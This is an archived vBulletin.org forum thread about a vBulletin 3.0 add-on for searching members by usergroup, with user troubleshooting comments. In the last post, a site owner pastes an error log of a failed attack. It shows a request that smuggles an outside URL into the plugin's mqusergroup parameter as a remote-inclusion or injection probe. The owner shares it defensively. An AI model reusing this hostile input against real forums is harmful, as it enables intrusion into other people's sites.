Go Back   vb.org Archive > vBulletin Modifications > Archive > vB.org Archives > vBulletin 3.0 > vBulletin 3.0 Full Releases
FAQ Community Calendar Today's Posts Search

Reply
 
Thread Tools
[VB3 RC3] Search by usergroup in memberlist Details »»
[VB3 RC3] Search by usergroup in memberlist
Version: 1.00, by Kentaurus Kentaurus is offline
Developer Last Online: Jul 2014 Show Printable Version Email this Page

Version: 3.0.0 Rating:
Released: 01-17-2004 Last Update: Never Installs: 9
 
No support by the author.

In memberlist in the advanced search you can search by name, web page,
posts... but you can't list all the members in a certain usergroup.

The leader of the usergroup has the option to view all the members
in the usergroup. This is an extension so any user can do a search
for a usergroup and check which members they have.

Why this? It is common to belong to a usergroup but not everybody has
the custom title of the group, you have no way of knowing who else
belongs to the usergroup besides asking the leader.

Info for hackers:
You may modify, improve, upgrade, redistribute this hack, include it
in another hack or yours or translate it provided you do it free of
charge and you distribute it in www.vbulletin.org at least, there is no
need to pm me asking for permission
Some portions of the code are (c) Jelsoft Enterprises Ltd.

Show Your Support

  • This modification may not be copied, reproduced or published elsewhere without author's permission.

Comments
  #22  
Old 08-26-2005, 12:14 PM
commTRU commTRU is offline
 
Join Date: May 2005
Location: Tyne and Wear, UK
Posts: 47
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

Quote:
Originally Posted by DeMiNe0
i did all the file edits, and even reedited it, but when i search a usergroup i get the following:

The usergroup you are searching for was not found

even if i directly link to the usergroup ID i get the same. running vb 3.0.3
I had that same problem too. Its because I had edited my user group title to have bold tags surrounding them. Try copying the exact text straight from the title field when you edit your usergroup and see if that works.

cashpath, to make the group not joinable you would need to edit the usergroup settings and set the 'Public (Joinable) Custom Clubs' setting to No.

Thanks very much for this hack, it'll prove very useful to me
Reply With Quote
  #23  
Old 09-28-2006, 12:13 AM
top end ms top end ms is offline
 
Join Date: Oct 2005
Posts: 49
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

If you could get this to work for VB 3.6 that would be AWESOME!
Reply With Quote
  #24  
Old 11-26-2006, 11:19 PM
DarkDraco07's Avatar
DarkDraco07 DarkDraco07 is offline
 
Join Date: Apr 2002
Posts: 414
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

yea i need this for 3.6 as well
Reply With Quote
  #25  
Old 02-13-2007, 01:21 AM
sarahk's Avatar
sarahk sarahk is offline
 
Join Date: Jun 2004
Location: Auckland, New Zealand
Posts: 64
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

This is actually really easy in 3.6 - I've been able to do everything via the Plugin Manager. Only outstanding issue is how to do the page navigation ... see http://www.vbulletin.com/forum/showthread.php?t=220020

I'll post the actual plugins once I've got it finished if anyone is interested.
Reply With Quote
  #26  
Old 04-11-2008, 11:02 PM
sarahk's Avatar
sarahk sarahk is offline
 
Join Date: Jun 2004
Location: Auckland, New Zealand
Posts: 64
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

We've just had an attempt a sql injection targetted at this plugin

Quote:
SELECT COUNT(*) AS users
FROM vb_user AS user
LEFT JOIN vb_userfield AS userfield USING (userid)

WHERE 1=1 AND ( concat( ',', user.membergroupids, ',') like '%,http://phonefamily.chat.ru/images?,%' || user.usergroupid = http://phonefamily.chat.ru/images?)
AND user.usergroupid IN (-1,6,34,7,2,33,38,5);

MySQL Error : You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '://phonefamily.chat.ru/images?)
AND user.usergroupid IN (-1,
Error Number : 1064
Date : Saturday, April 12th 2008 @ 03:31:03 AM
Script : http://www.mysite.com/forum/memberlist.php?mqusergroup=http://phonefamily.chat.ru/images?
Referrer :
IP Address : 203.97.120.149
Username : Unregistered
Classname : vb_database
didn't work but could the variable management be more robust?
Reply With Quote
Reply


Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT. The time now is 10:18 AM.


Powered by vBulletin® Version 3.8.12 by vBS
Copyright ©2000 - 2025, vBulletin Solutions Inc.
X vBulletin 3.8.12 by vBS Debug Information
  • Page Generation 0.03797 seconds
  • Memory Usage 2,256KB
  • Queries Executed 20 (?)
More Information
Template Usage:
  • (1)SHOWTHREAD
  • (1)ad_footer_end
  • (1)ad_footer_start
  • (1)ad_header_end
  • (1)ad_header_logo
  • (1)ad_navbar_below
  • (1)ad_showthread_beforeqr
  • (2)bbcode_quote
  • (1)footer
  • (1)forumjump
  • (1)forumrules
  • (1)gobutton
  • (1)header
  • (1)headinclude
  • (1)modsystem_post
  • (1)navbar
  • (6)navbar_link
  • (120)option
  • (1)pagenav
  • (1)pagenav_curpage
  • (2)pagenav_pagelink
  • (6)post_thanks_box
  • (6)post_thanks_button
  • (1)post_thanks_javascript
  • (1)post_thanks_navbar_search
  • (6)post_thanks_postbit_info
  • (5)postbit
  • (6)postbit_onlinestatus
  • (6)postbit_wrapper
  • (1)spacer_close
  • (1)spacer_open
  • (1)tagbit_wrapper 

Phrase Groups Available:
  • global
  • inlinemod
  • postbit
  • posting
  • reputationlevel
  • showthread
Included Files:
  • ./showthread.php
  • ./global.php
  • ./includes/init.php
  • ./includes/class_core.php
  • ./includes/config.php
  • ./includes/functions.php
  • ./includes/class_hook.php
  • ./includes/modsystem_functions.php
  • ./includes/functions_bigthree.php
  • ./includes/class_postbit.php
  • ./includes/class_bbcode.php
  • ./includes/functions_reputation.php
  • ./includes/functions_post_thanks.php 

Hooks Called:
  • init_startup
  • init_startup_session_setup_start
  • init_startup_session_setup_complete
  • cache_permissions
  • fetch_threadinfo_query
  • fetch_threadinfo
  • fetch_foruminfo
  • style_fetch
  • cache_templates
  • global_start
  • parse_templates
  • global_setup_complete
  • showthread_start
  • showthread_getinfo
  • forumjump
  • showthread_post_start
  • showthread_query_postids
  • showthread_query
  • bbcode_fetch_tags
  • bbcode_create
  • showthread_postbit_create
  • postbit_factory
  • postbit_display_start
  • post_thanks_function_post_thanks_off_start
  • post_thanks_function_post_thanks_off_end
  • post_thanks_function_fetch_thanks_start
  • post_thanks_function_fetch_thanks_end
  • post_thanks_function_thanked_already_start
  • post_thanks_function_thanked_already_end
  • fetch_musername
  • postbit_imicons
  • bbcode_parse_start
  • bbcode_parse_complete_precache
  • bbcode_parse_complete
  • postbit_display_complete
  • post_thanks_function_can_thank_this_post_start
  • pagenav_page
  • pagenav_complete
  • tag_fetchbit_complete
  • forumrules
  • navbits
  • navbits_complete
  • showthread_complete